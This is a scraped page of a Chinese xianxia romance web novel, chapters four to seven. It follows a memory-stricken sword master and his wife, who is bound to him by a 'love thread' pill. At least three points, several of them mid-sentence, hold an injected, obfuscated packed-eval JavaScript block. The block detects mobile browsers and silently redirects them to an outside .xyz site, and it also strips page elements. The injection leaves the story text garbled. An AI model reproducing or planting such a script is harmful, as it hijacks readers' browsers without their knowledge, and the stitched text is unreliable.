她朝旁边伸了伸手,白琪往那边走了两步,将已经不再滚烫的盘子放到她手中。 李修竹低头看到白瓷盘上,静静地躺着几块油亮发红颤巍巍的红烧肉。 她炒的糖色,确实漂亮极了。 他心间一动,仿佛有什么酸涩的感觉,从几百年前传递过来。 李修竹爱吃红烧肉,是有原因的。 当时才入宗门的时候,常常有人拿他贫困的身世来讽刺他,说他只是个商人之子,见识浅薄。 但实际上,那名商人是他的养父,他的真实身份,远比商人之子的身份还要困难许多。 李修竹的亲生父母以务农为生,且家中田地稀少,他曾有两个姐姐三个哥哥一个弟弟。 家里吃不上饭,于是决定卖掉一个孩子,长得乱糟糟的李修竹就被卖给了人牙子。那一年他五岁,长得像是三岁,头大身子瘦,一双黑漆漆的眼睛饿得没有任何神采。 但他却还记得他爹说要给他一个饼子再打发他走,可是临了人牙子见了他,觉得他可能养不活,因此压了价,那饼子也就没有了。 他因此委屈地哭了起来,抱着他爹的大腿不肯走,被他爹连踹了好几脚。 他娘在一旁看着,抹了两滴眼泪,说他是天生的馋痨?,是他们的报应。 最后,他娘把他拽到人牙子手里,狠狠地点了点他的脑袋,直点的他脑袋往下坠,塞给他一个小布团,打开,里面躺着一块干巴巴失去油脂的红烧肉,上面还沾了一点碎棉线。 前两天,他爹在富贵人家里讨了半盘吃剩的红烧肉拿回家下酒,孩子们看的眼红,但只有识字的大哥和才会走的小弟分别得到了一块,这是他娘偷偷藏起来的一小块。 红烧肉已经有些变质了,但李修竹记住了那个味道,很香,很甜。 他松开手,擦了擦她脸上的灰,问:“怎么突然想起来做红烧肉。” 宋半夏说:“因为想让剑君你开心一点。我觉得你这次回来,好像有心事。” 共渡一百载,他不说,她知道。 李修竹沉默片刻,说:“我没事。” 宋半夏看了看周围稀稀拉拉救火的人,把他往自己这边扯了扯,声音很低地说:“如果有事一定要跟我说,虽然我很弱,但是也想为修竹你分担一点,而且,不说的话,我会担心的。” 她声音温温柔柔,是个哄孩子的音调,听得李修竹耳朵痒痒的,心里软软的。 李修竹:“你叫我什么?” 他觉得新奇,想再听一遍。 宋半夏道:“修竹。” 李修竹:“没听清。” 宋半夏咬了下唇:“李修竹。” 李修竹低了低头,耳朵凑过去,说:“还是没听清。” 一旁的白琪看了过来。 宋半夏面颊红了下,抿紧唇不说了,问:“你到底还吃不吃红烧肉了!” 李修竹笑了,说:“吃,我要全部吃掉。” 宋半夏弯了弯唇,又不愿让他看见,遂转过头去,说:“那还不走!” 李修竹跟上了她,觉得她像一只三花色的猫,滚进灶台,把自己蹭了一身的灰,还翘着尾巴走到人面前喵喵叫,试图魅惑对方。 偏偏人也不争气,小猫勾勾尾巴,就恬不知耻地凑了上去,跟在她的屁股后面转,还乐得其所。 最后李修竹就着外面买的馒头,吃光了一盘的红烧肉,连盘子里的汤汁也用馒头一点点地擦干净了。 宋半夏则在一旁拆她的礼物,是一本修炼用的书。 “喜欢吗?”李修竹问。 喜欢还是不喜欢呢? 宋半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李修竹几乎立刻说服了自己,他忽然笑了笑,将沉重的空气一扫而空,说:“意思就是,约定快到了,我的小夫人过不了多久就能得到我辛辛苦苦攒下的半副身家了!这么一想,还真有点舍不得呢。” “谁稀罕!”宋半夏有些尖锐地道,说完,她自己觉得不妥,撇过脸找补,“你的破情丝,耽误我一百年,我要涨价的。” 李修竹知道她是生气了,连忙凑到她跟前哄她,问:“那我要赔点什么才行?” 宋半夏说:“赔什么都不行,我要你整副身家!” 李修竹顿了下,低头看了半晌,握住她膝上紧攥出白印的手,长叹了口气,说:“好,都赔给你。” 可宋半夏还是不高兴,甚至有点想哭。 李修竹也不开心,他开始思考自己为什么一定要跟她合离,成婚一百年,就算他为人差了点,可他长得还不错吧! 而且比起那些修真界的其他大能来说,他虽然骗了她,可他至少可以十年如一日地只爱她一个人。 看在这些的份上,她难道就不能考虑一下继续和她在一起吗?说不定会考虑呢? 可他毕竟是骗了她。 这一切都是从欺骗开始的。李修竹搞不清楚,当年的自己到底为什么要给宋半夏下情劫丝。但他知道,没人能够接受欺骗。 他深吸了一口气,握着她柔软的手,半晌,半是开玩笑,半是认真地道:“到时候你要带着家产走的时候,可别忘了把我也带上。” 宋半夏听了,红红的眼眶方才消失了,哼了一声:“就不。” 李修竹:“那我可真是赔了夫人又折兵了。” 5. 第五章 宋半夏拿着李修竹给的书,从椅子上站起身,转过身低头看着坐着的男人,伸出空着的纤细的手抬了抬他的下巴。 他睁了睁眼,顺着她的力道仰了仰脖子,露出突出的滚动着的喉结,放在椅子上的手微微蜷缩,似乎本能地不适,想抬起阻止,但被主人又压抑住,蠢蠢欲动地凸起青色血管。 衣衫下的手臂同样绷紧,衣领露出的锁骨变得突出。 宋半夏拿手摩挲了一下他的下巴,上翘的圆眼睛带着矜持的傲慢,盯着他,微微俯了俯身子。 连菩提幻境都安然无恙闯出来的李修竹,仿佛被她的举动攫取了心神,忍不住再度抬了抬头,把脖颈长长的弯起,去迎合她接下来的动作。 呼吸放缓,他紧张地握紧了木椅突出的扶手。 先闻到的是她身上清清淡淡的香气,像是菡萏花的味道。 这味道像是激起了他身子的本能反应,在他反应过来之前,瞬间让热气下涌。 李修竹咬紧了下颌,目光开始变得带有侵略性,怕吓到人,与她对视的眼睛下撇,让睫毛遮住了自己半扇,放到了她粉色的唇上有些心不在焉地打量着。 宋半夏觉得他的胡子该刮了,已经有了些扎手的青色胡茬。 这是唯一一个即便给她送‘五三练习题’做礼物,也没办法让她讨厌的人。她十分确信自己很爱他,爱到如果有一天歹徒把她和他绑到悬崖边上,要她选择到底谁死谁活,她也会毫不犹豫就选择让他活。 只要看到他,她就会特别开心。 她心想,自己怎么能这么爱他呢? 这其中究竟有没有情劫丝的原因,若是有,又有几分? 一场不知道来自谁的阴谋报复,让她和他缠到了一起。也让她再也没办法分清自己真正的爱意,但她的爱意从来都不是没法见光的老鼠,所以她相信,即便情劫丝解开,她也绝不会移情别恋。 想到这里,宋半夏问:“你还没有找到当初偷你情丝的人吗?” 有些忍不住要发出喘息的李修竹瞬间清醒,好像被当头泼了一盆凉水,人还热着,心却坠下了冰窟窿,埋地严严实实的。 他僵着脊背,说:“没有。” 大乘期的修士,菩提幻境都关不住他,又向来是个无法无天的,除了他自己,谁能悄无声息地把他的情丝拿走,还炼成了丹药给别人服下。 而被设计服下那个丹药的人,还恰巧是他喜欢的姑娘。 这种成人之美、双喜临头的事情,若是真有,那想来必然不是什么敌人,而是他李修竹的再生父母吧…… 宋半夏担忧地蹙了下秀气的眉,一百年了,还没找到,到底会是什么人? 如果不是她爹没有这个能耐,宋半夏肯定要第一时间怀疑她爹。 怎么形容她爹和李修竹的关系呢。 如果一定要形容,那可能就是话本子里百折不挠的反派人物和穷且益坚的少年主角。虽然这样说可能有些伤她爹的心,但是宋半夏觉得她爹跟李修竹曾经的冲突,有一半都是他爹自找的。 本来就是嘛,人家李剑君一个刚入仙门的无依无靠的少年,她爹非得仗着自己家有点背景,处处看人家不顺眼,要收拾人家。说什么看不惯有人比他还嚣张。 其实,宋半夏觉得如果她爹当年刚入宗门,甩出一包灵石来,让李修竹给他当小弟,可能那个时候连饭都吃不饱的剑君就真老老实实要给他当小弟了。 她爹当年自己还说过这事呢。 原话是——李修竹上山修炼,为了省几颗灵石,在饭堂里啃馒头就咸菜,寒碜极了,谁能想到还真让他熬出头了!早知道就该让饭堂单独给他的凉馒头涨价十倍,让他连馒头也啃不起! 宋半夏听了,只觉得李修竹天赋好高,人也好努力。毕竟她家有十座灵石矿,天天天灵地宝地砸,也没见她爹修成大乘修士。 从此李修竹就成了她的榜样之一。 她还记得自己第一次见他,是五岁那年。 花灯节,宋半夏那个不靠谱的爹,心血来潮带着她和她哥去外面玩,甚至没有带一个客卿半个护卫,然后就不出意外地出意外了。 傍晚街上人特别多,鱼龙混杂。 宋半夏要玩打地鼠,她哥要玩猜字谜——据说是那个时候她哥刚开始学进阶版古文,因此十分上头,非要显摆,而她刚过完生日,得到一个漂亮的小锤头,也非要显摆。 至于她爹,她爹最擅长射箭,所以想去玩射艺。 于是一个大人两个小孩一拍即散,各自去了各自想去的摊子,等到街上因为邪修乱起来,她爹惊慌转头,发现应该在隔壁摊子的宋半夏已经没影了。 宋半夏被伪装卖糖画的邪修掳走了。 那邪修见宋半夏身上全是宝物,又没人看着,于是起了歪心思,想把她绑了讹她家里人一笔。但当宋半夏说自己姓宋是宋家人时,邪修顿时起了杀心。 邪修跟宋家有仇! 宋半夏半路发现不对劲要跑,法器全部扔出去,还是被抓住了,当场就要被砍掉小脑袋。 千钧一发,一抹华光如流星般坠落,挡住了还差一厘米就劈到她脑袋上的剑,他手上的血滴滴答答滴到她的衣服上,好似神灵从天而降,将邪修踹飞了出去。 风华正茂的李修竹随便给自己挡剑用的手缠了两块素色布条,布条瞬间被血浸染,他潇洒转身,头上的天蓝色鎏金发带飞扬着,看到她笑了,说:“呦,是个小金豆子。” 小金豆子哇地哭了,张开手踉跄扑到他面前抱住了他的大腿。 李修竹‘哎’了一声,苦恼地颦了下眉,把人从地上捞起来,捞到怀里,说:“本尊这身衣服可值三颗上品灵石,你再给本尊拽坏了。” 小金豆子没穿过这么不值钱的衣服,更委屈了,一边往他怀里钻,一边哭着喊爹。 孟灵拎着锤头走过来哈哈哈地笑:“李修竹,你哪认的新闺女!” 李修竹道:“去你的,你闺女!” 孟灵笑的上气不接下气说:“我闺女就我闺女!” 她凑到李修竹身前问他怀里的宋半夏,说:“小闺女,你叫什么名字啊?” 宋半夏不语,一味地哭。 李修竹抱着她,转头看向不远处,神色凝重了一些说:“叶晃一个人能对付的了吗?你不去帮忙?” 孟灵逗着宋半夏,抽空转头看了两眼,说:“还早呢,等他再砍两刀我再去,显得我多威风!” 她发现李修竹怀里的宋半夏,戳一下,就大哭一下,有意思极了。 孟灵:“李修竹,我以后也要生个这么好玩的小东西!” 李修竹放在宋半夏背上的手往上抬了抬,挡住了孟灵,闻言抬脚就要踹,说:“一边去,爱生不生,再逗她把你丢湖里去!” 孟灵不高兴地皱皱鼻子,忽然消停了,说:“李修竹,你新闺女好像把鼻涕抹你衣服上了。” 李修竹顿时僵了僵。 孟灵见状笑的更大声了。 后来李修竹把她还给她爹的时候,她爹还跟他起了冲突,被宋半夏拦下了。 那个人明明做了好事,受了伤,却还被误会,收拾了她爹之后,与他们不欢而散。 大抵他已经忘了他们的第一次相见了,但宋半夏却结结实实地记住了那个如神从天降的桀骜剑君。 现如今,那名剑君正仰着脖子,任她为所欲为,头上的发带被堂内的过堂风吹的摇摇晃晃。 宋半夏道:“剑君。” 李修竹回:“嗯?” 他被她勾的不上不下地,她却迟迟不动弹了,还要拿话点他。 宋半夏咬了下唇说:“剑君,我们生个孩子好不好?” 李修竹静了一瞬,仿佛真的在一瞬间看到了她口中的那个未来。 他胸膛起伏了两下,未来得及回应,看到她朝自己吻了过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412241|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >热乎乎的吻将二人点燃,李修竹忍耐着忍耐着,在她伸手摸自己脖子时,将人拽进了怀里,惯性使他的脊背撞到了后面的桌子,桌子上的果盘茶杯发出叮铃地碰在一起的声音,他的手摩挲着她的腰,另一只手扣着她的头,将吻加深。 宋半夏伸手去扯他的腰带,却被他一个激灵按住了手。 李修竹气息不稳地匆匆结束这个吻,胸腔不断地起伏着,把头额头抵在她的额头上努力平复着体内的欲望,身子绷紧说:“等你解了情劫丝,咱们再说这些。” 宋半夏说:“为什么?” 而且要解情劫丝,他们不也要做这事? 说起来也怪,一百多年了,就算修士的孩子难得,越厉害的修士,也越不容易有孩子,但她的肚子竟然一点动静都没有。 李修竹沉默地没有说话,过了很久,才道:“我怕你会后悔。” 听了这话,宋半夏稍微松了松心弦,说:“我才不会。”明明是她要担心他会后悔才对,毕竟他修逍遥道,而她又不修。 李修竹摩挲了一下她的耳朵,说:“你说过的话,可要记清楚。”别等到丹毒一解就翻脸不认了才好。 “我记性一直都很好,是剑君你的记性不好。” “张嘴就来啊?”李修竹道,“昨晚谁喝断片了?” “那……那个不算!” “那个如果不算,要怎么着才算?” “总之,不能算!” “我就算。” “不许你算!” “就算!” “不许算!” “就算。” “李修竹!” 李修竹看着气红了脸的人,曲起手指轻轻敲了下她的额头,说:“暴露本性了啊。” 宋半夏红了红脸,埋进他的怀里,抓着他的衣服闷声道:“不要你算,我记性好着呢。” 李修竹:“那本尊记性又怎么不好了?” 宋半夏嘴硬:“你记性就是差。” 李修竹说:“行,那咱们各退一步,我承认我记性差,你承认你记性差,行吗?” 宋半夏动了动身子,李修竹忍不住闷哼一声,要摁住她不让她动弹,她却已经直起身子,揽住他的脖子,凑到他的耳边,说:“不要。” 李修竹:“那你要如何?” 宋半夏:“我记性好,剑君记性也好。” 憋了半天,竟然憋出了这么一句话。 李修竹被她逗笑了,胸口的颤动,让伏在他身上的人有些抱不稳。 宋半夏:“你笑什么?行不行?” 李修竹:“不许这么问。” 他顿了一下又笑,半晌,揽着她的腰说:“行。” 宋半夏就开心了,落了下去,还要吻他,反被他牢牢困在怀里。 李修竹说:“老实点。” 宋半夏安静了片刻,抬眸看看他,努努嘴问:“不继续吗?剑君?” 李修竹低头望见她满是他的眼睛,顿了下,将她的头摁向他的怀中,深吸了一口气说:“给我点时间。” 他发现自己还没有勇气,去看到她逐渐变得冰冷陌生的眼神。 再给他点时间。 至少,过个一两周。 宋半夏以为是他在谈孩子的事,抿了下唇,不再主动,只是疑惑问:“憋回去的话,不会难受吗?” 难受死了。 尤其是她还在他怀里。 但他要脸,更害怕她翻脸。 李修竹深吸了一口气,说:“不难受。” 宋半夏便闭了嘴。 堂外阳光和煦,李修竹说:“等会儿得找人修一下咱们厨房了。” 宋半夏:“白琪他们都会,不用特意找人,就是要给他们加点工钱了,还有今天他们也吓到了,干脆晚上把府门关了,带着他们一起出去吃。” 李修竹说:“好,咱们一起去下馆子。” 6. 第六章 晚饭吃完,宋半夏牵着李修竹的手同白琪他们分开走了两条路。 因为这个小镇,有着前大乘期逍遥剑主李修竹的庇护,所以到了夜里不仅没有变得寂静,反而越发热闹了。 来来往往的人都是李修竹不熟悉的人,因为他丢了百年的记忆,正当他下意识准备拉着宋半夏换一条路的时候,迎面卖花的大娘跟宋半夏打了招呼:“宋娘子,你家剑君回来了啊!” 宋半夏就牵着他往前走了两步,弯着眼睛答:“欸,回来啦!” 大娘见她开心也弯着眼笑,替她感到高兴。 然后李修竹就发现,这一条街上的人,若要打招呼,必然先跟宋半夏打招呼,然后再叫他一句剑君。 她牵着他走过华灯闹市,每个人都能跟她搭两句话。 也有送东西的,她一个也不收全推了回去。 走过这条热闹的街,再穿过一条安静积着雪的小巷,就到了他们的家。 家? 这个字眼对于李修竹来说既熟悉又陌生,他记忆中的家与人们口中的家总是割裂的。 当年他被人牙子带走,被一个无子的商人买下,但那个收养他的商人在他十六岁的时候生了个儿子,觉得他不服管教,又怕他夺他的家产,于是把他赶出了门自生自灭。 哪晓得李修竹阴差阳错地上了仙山拜了师,甚至还混出了一些名堂。 李修竹筑基那天回到了商人家中,看到他们正巧在给商人的亲儿子在办生日宴,所有人都喜气洋洋,一向严厉的商人也笑眯了眼,不辞辛苦地招呼着客人。 他已经认不出他了。 问他来历。 李修竹只说:“无名散修,云游至此。” 商人很恭敬,请他入座。 谁也猜不到,这一身少年意气的仙人,是原来商人家中沉默寡言灰扑扑的养子。 李修竹在宴席上坐了片刻,起身在桌子上放了一包灵石,默默离开了,耳旁的钟鼓之声声声入耳,背后红色的喜字高高挂着。 来祝贺的年轻客人,来时意气风发,去时满身落寞。 后来的某一天,李修竹也去寻过自己原本的家人,但他到的时候,整片村子都荒了,问了附近官衙,原来就在他跟着牙人当年离开不久,村子里就遭了邪修,一村的人都被杀了。 李修竹当时沉默半晌,低低笑了一声,也说不清自己到底是何种复杂心情,寻了那邪修,杀掉了。 其实那时他已经记不清自己父母和兄弟姐妹们的模样,但是很奇怪地感到了悲伤。 这人间,从来没有他的家。 可如今却有了。 门前挂着两盏虽然图画不一样,但格外搭配的灯笼。 宋半夏挽着李修竹的手指给他看:“你瞧,左边的是我画的,右边的是你画的。你瞧你画的小人,它们眯着眼睛在对我们笑!” 李修竹:“大晚上的,别说这么吓人的话。” 宋半夏便咯咯地笑,银铃一样。 李修竹仰着头,看了那盏灯很长时间,心中的妄念于黑暗中滋长。 他想,这样的日子确实让人贪恋,不怪他一错再错,不肯放手。 李修竹:“半夏。” “嗯?” 李修竹道:“你知道吧,情劫丝会使你不由自主地爱上我,并且随着时间越长,越会对我情根深种,不能自拔吧。” 宋半夏当然一直都知道,李修竹在见到她的第一天就说了:“知道,怎么了?” 李修竹在朦胧灯影中看向她,一张剑眉星目的面容变得有三分柔软:“如果丹毒解了,到时候你要离开,我绝不会阻拦你。” 她在此地困得太久了,久到即便他即便失去记忆仍动了心,却也不忍再度强迫于她。 宋半夏怔了一下,问:“倘若……我不愿离开呢?” 不愿离开? 听到这个疑问,李修竹那本来已经平静下来的心又跳了起来。不切实际的问题,总让被提问的人怀有不切实际的期待。 他想告诫她,不能答应的承诺不要向对方许出。 可是又怕她再也不说,于是只能紧闭着嘴巴,让野心在黑暗里不守规矩地攀爬。 一时间两个人都没了话。 宋半夏有些疑心。 他那样说,究竟是担心她会离开,还是担心她不会离开? 不愿闯荡的她,这些年纪是否真的如外人而言,束缚住了他的手脚,把他困在凡世一隅。 一想到这个可能,宋半夏的心就揪了揪,凉了半截。 确实,这次回来,他变了许多,看她的眼神似乎也不在像以前那样满含笑意和占有欲。 难道是因为情劫丝的丹毒快消失的缘故吗? 因为约定快做到了,所以决心到时候就离她而去,做回他快活潇洒的逍遥剑君? 倘若真是这样,宋半夏的心一定会碎掉的。她若当真成了束缚他的牢笼,又该让她情何以堪?还不如当年就嫁给沈广陵,独让她忍受百年相思苦,好过害他百年。 夫妻俩各怀心事,难以开口。 好像觉察到,倘若将暧昧的界限一一理清,就有失去的对方风险。 而这个风险,对他们来说是致命的。 于是宁愿做个哑巴,糊里糊涂地等待着命运的骰子落地。 回到厢房,宋半夏洗漱完毕,竟然有些不敢朝床边走。 那里坐着她爱慕多年的人。 这些年里,她曾以为自己也得到了他毫无保留的爱,可是如今却起了疑云。 说起来,宋半夏还记得他来提亲时的模样,那并不是一个开心的平静地模样,而是有些压抑的、阴沉的样子。 看起来,都不太像他了。 她以为,那些情绪是对着偷他情丝来炼丹的仇人,可是现在想来,作为吃了他情丝的人,未必没有被他讨厌,只是他天性责任心强,因此将一切默默承担了下来。 其实,情劫丝虽然针对逍遥道,可是其实只要修炼此道,其功法便能解她体内丹毒。但是因为情劫丝的副作用,解毒时间拖得越长,中毒者就会越发爱慕情丝的主人,所以倘若要同逍遥道的其他人解毒,不管是中毒者本人,还是解毒者都要忍受这个副作用。 “宋姑娘,你年龄小,不知道这世间的相思是最难令人忍受的东西。” 那时李修竹凝望着她,任由风将他鬓角的碎发吹起。 他大概找了那个下毒的人很长时间,用尽了心力,所以眼底有青白的印记,眼中有一缕缕的红血丝。但明显又在见她时特意梳洗了,下颌处干干净净,束起的发尾还有些潮。 宋半夏忍不住在心底酸酸地吐槽,她不知道,难道他就知道了吗? 李修竹说:“你虽然不喜欢我,可如今也确确实实吞了我的情丝,过不了多久它就会影响你。” “倘若你要带着它嫁给别人,即便对方一时分得清那其实是丹毒所造成的虚假的爱,但日复一日,你不能保证对方会不会因此伤透了心,反而伤害你。” “但你若嫁给我就不一样了。” 宋半夏听到这里已经想满口答应下来了,但她还记得要矜持一点,只好将张开的嘴阖上,吞下迫不及待的回答,问:“有什么不一样?” 李修竹沉默了一下,眼眶好像有些红,再开口声音也哑了,那张脸却还保持着唬人的平静,说:“倘若你嫁给我,你的生活不会有任何变化,只需要每月跟我待上三天,等到情劫丝解了,你恢复理智,仍可以嫁给你想要嫁的人。作为赔偿,我会把我名下的所有财产都赔给你。” 先不说到处闯秘境的他,名下的财产是个什么可怖的数字。 宋半夏惊愕地张大了嘴巴,腾地一下红了脸,结结巴巴地道:“你……你这不是,你……你的意思是要花钱睡我吗?” 李修竹愣住了,顿时,他的那张俊脸也肉眼可见地红了,慌张溢于言表,说:“不!本尊……我不是,我不是这个意思。” 宋半夏:“那你是什么意 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宋半夏说:“算了,剑君,你有你的朋友,我也有我的朋友,大家互不干涉就好。” 李修竹怔了一下,沉了下脸,似乎想说什么,又闭上了嘴,沉默良久,说:“好。” 他起身拿剑就走,当时还有些奇怪的是,逍遥剑给足了他脸面,安安静静做了一把听话的佩剑。 宋半夏以为他听见她要求多反悔了,立刻起身道:“你做什么去!” 李修竹停住两步,回眸看她,发带垂在他肩上说:“去向你爹提亲。” 宋半夏松了口气,问:“还按照刚刚的说法吗?” 李修竹好像迟疑了一下。 宋半夏道:“你那样说,我爹肯定会把你撵出去再也不让你进门的,他可没有我有耐心。” 她往前走一步又停下,说“你过来,我教你,来呀。” 宋半夏一字一句教给了他怎样能娶到她。 “我有钱,不要你的全副身家,但是我爹一直有些……呃……介怀于你,所以你就跟他说,等丹毒解了,分我半副就好了。这样还显得真诚。而且,你既然决定要娶我,没有八抬大轿是不可能的,就算我爹同意,我们宋家族中的客卿长老和我七大姑八大姨也是不能同意的,就算你是逍遥剑剑主也没有例外……” 李修竹听她忽悠的时候,似乎是有些恍惚的,因此毫不犹豫地就同意了她的全部说辞。 她靠自己聪明的大脑,让李修竹风风光光地把她娶回了家。 但也许,当初在她因为兴奋而看不到的地方,她不经意地逼迫了他,使他不得不承担起她这个责任来。 宋半夏坐在梳妆镜前一遍一遍地梳着自己的发尾,竟有些不敢回头。 李修竹看出了她的迟疑,但他自己也开始迟疑了。 真的要在今天把情劫丝解开吗? 手下的被褥柔软,仿佛沾着菡萏花的香气,桌上灯烛摇晃。 李修竹紧张地握起了拳头。 镜子前的宋半夏动了动。 李修竹站起身两三步离开了床,顶着她看过来的眼神说:“我今夜还要处理些事情,免得打扰你,我去隔壁睡!” 宋半夏怔了怔,说:“好。” 房门打开又关上,李修竹匆匆离去。 宋半夏整个人塌了塌,手中的梳子磕到桌面上,有些茫然地怔愣。 空荡荡的房间,徒留中央暗暗燃烧的法阵,外面的冷风就吹进来了,这么多年,元宵过后从来没下过雪,这次好像真的要下雪了。 宋半夏不由得瑟缩了一下肩膀。 她放下梳子,走到床上,脱鞋上床。 原本睡得习惯的床,今天也显得太大了,被子怎么掖,都有风漏进来。 她掖了半天,放弃了,四下无人,藏在被子里忍不住哭了。 他到底怎么了啊? 为什么突然要对她这样。 7. 第七章 李修竹匆匆往外走,碰上了巡夜的白琪。 白琪愣了下,问:“剑君怎么深夜在此,是忘了什么东西在饭馆吗?” 李修竹咳了一声说:“没有,我有些事,今夜在西厢房睡,你不用管我。” 说完同她擦肩而过。 白琪凝视着他离去的背影,颦起了眉毛。 成婚这么多年,这二人还是头一次分房而睡。 李修竹坐在西厢房的冷板凳上,坐立难安,等了半天,终于等到了闻奈的信。 “好歹你也是仙盟的客卿长老,你能不能有点责任感?!你做事情一向三分热度,之后就完全撒手不管了!但这次这件事你若撒手不管像话吗?!什么叫情劫丝还有其他解法没有。你失忆失的把脑子失坏了?”闻奈冷巴巴地说,“没有!如果有的话以后我把我的名字给你倒过来写!” “希望我写这封信的时候你已经把情劫丝解了。对了,叶晃让我告诉你,月底之前如果宋半夏的情劫丝还没解开,他就会提刀去中洲砍你。你已经拖了一百多年了,行了吧?再不解,我估计别说叶晃,那几个也该压不住火气了。总之我不管你之后到底要不要合离,先把这情劫丝给人解了再说。” 李修竹捂住脑袋。 就是因为他不想合离了,所以才不想解开这情劫丝。 如果解开了,那岂不是一定会被合离吗? 这事哪能是他说了算的。 要赌她一百年间会不会对自己产生爱意嘛? 可是前车之鉴摆在那里。 情劫丝这东西,情在前,劫在后,顾名思义,炼丹者希望对方在劫难逃。逍遥道中人士对这玩意有个戏称,叫做‘无心傀儡丹,有心鹤顶红’。说的是如果情丝主人对吞下此丹药的人没有半分心思,就相当于不花钱买了个可以随时玩弄在手的傀儡,而如果对那吞下丹药的人动心,十有八九会变成自己的鹤顶红。 李修竹啊李修竹,你对自己怎么也这么狠? 李修竹长长叹了口气,把烛火灭了,直挺挺得躺在了西厢房的床上。这床硬的要死,还冰凉,怎么睡怎么不舒服,让他不由得辗转反侧。 虽说这情劫丝犹如傀儡丹,能让人对情丝主人的爱日渐加深,但实际上,假的情意和真的情意是不一样的。如果对方心中其实并不喜欢情丝主人,甚至对其厌恶的话,会偶尔做出一些相反的事。比如明明看着好好的,却在深夜磨刀。比如明明满怀爱意地看着情丝主人,却会在听起往日情郎的名字时忽然怔愣。 这都是逍遥道的一群人总结出来的东西,或许可以让他来甄别一下自己的妻子对他到底有没有爱意。 万一有呢? 李修竹像条虫子一样在床上顾涌了片刻,然后猛然掀开被子,起身下床,开门,冷风吹地他打了个喷嚏,他回身把门关好,然后往回走。 这破屋子,年久失修,真不是人待的地方。 走回东厢房,他轻手轻脚,做贼一样把门打开,吱呀一声,冷气钻入暖热的房间,李修竹侧身挤进来,然后反手把门在轻轻推回去,门轴就又发出一声动人心弦的吱呀声。 他抬起双手,在掌心呼出一口气,搓了搓手。从没干过这种偷香窃玉的事情,他站在原地有一时的犹豫,但很快,回忆中的温暖与柔软,让他的理智去跟身体妥协了。 往没放下帷幔的床上看了一眼。 金丝红色的被子下面,鼓着一个圆圆的包,宋半夏的头藏在被窝里,只露出了一丝黑发。 李修竹的心扑通扑通跳了起来,立刻收回了视线,莫名的脸红耳热。 如果有人能够将这房间的动静全部收入耳中,那么一定会发觉,这个房间有两颗声音重叠的心跳。 宋半夏哭了很久,她觉得自己不是想不通李修竹这次回来的异样,而是她不能接受李修竹竟然不爱她。 整整百年,她这么喜欢他,而他却并不像她喜欢他那般喜欢自己。 他从前都是装出来的吗?! 既然不喜欢她,干嘛要装的那么好!害她彻彻底底的情根深种不能自拔了! 她委屈极了,恨不得当下立刻和他一刀两断,回宋家去。可是又想想,这院子一直都是她在打理,府上的人也都是她招的,要走也该是李修竹走! 正在宋半夏在心里骂人时,门外传来了脚步声。 宋半夏抽噎的声音一下子就止住了。 怕被巡夜的白琪听见,到时候不光下不来台,还丢了脸面,甚至以白琪的脾性,有可能就要为她跟李修竹打起来了。 听到门被推开的声音,还有男人的呼气声,宋半夏就知道是李修竹又回来了,顿时火气消了消,委屈又接踵而来,忍不住在被子默默流泪。 于是,当李修竹把外衣脱了,用灵力暖热自己的身体,用极为小心谨慎的动作往被子里钻的时候,手探到她软热的面颊前,摸到了湿漉漉的一片。 当下心中一惊,拉开被子,看到了哭的可怜极了的人。 空气好像都静止了。 宋半夏抽噎出声,听到他轻声问:“怎么了?” 李修竹不敢再动弹,心好像被什么东西拧紧了,半跪在床上,低着头,拿手去将她的泪怜惜地擦干。 宋半夏‘呜’了一声,从被子里爬起来抱住了他,伏在他的肩膀处才继续断断续续地哭。 李修竹吸了一口气,抱住她,摸摸她的脑袋。 她哭的他的心都要碎掉了。 枕头和被子都浸出了深色痕迹,不知道到底哭了多久。 众所周知,李剑君这个人,最讨厌人哭了。不管男人女人都讨厌。最出名的事迹是他在练武台上,一点也没留手,把一名入门不久的师弟给直接揍哭了,然后说出了那句响彻天下的名言:‘哭?哭也算时间的奥。’ 女子在他面前占不到一点便宜,男子更是直接两巴掌。 虽然他的风流之名传遍天下,但李修竹周围的朋友都断定他将孤寡一生。这么一个断情绝爱的寡王,可太适合修逍遥道了。以至于当他决定娶宋半夏的时候,一群人都觉得他可能是闯秘境给自己闯疯了。 叶晃和李修竹认识已久,自打还在宗门内的时候就已经称兄道弟,人比较实在,直接找到了酒楼喝酒的宋向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412243|184644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松,问他是怎么算计的李修竹,并且拔出刀准备砍人。 宋半夏当时正好在场,在她爹暴怒之前拦了下来,避免了自己即将被搅黄的婚事。 听到情劫丝一事,叶晃竟断然否认,说李修竹修为已至大乘,绝对不可能会被人把情丝偷走,还被练成丹药。 宋半夏拿出了最开始的,那名逍遥道大乘尊者的事例反驳他。 叶晃虽然犹豫,但仍嘴硬道:“那是因为当时谁也不知道那丹修能练出情劫丝这种东西,所以那位逍遥道大能才会没有防备,被盗走情丝。自那之后,逍遥道的修士对自己的情丝看管的十分在乎,李师兄更是小心谨慎之人,怎么可能会被盗走情丝,还让那情劫丝被你服下?” 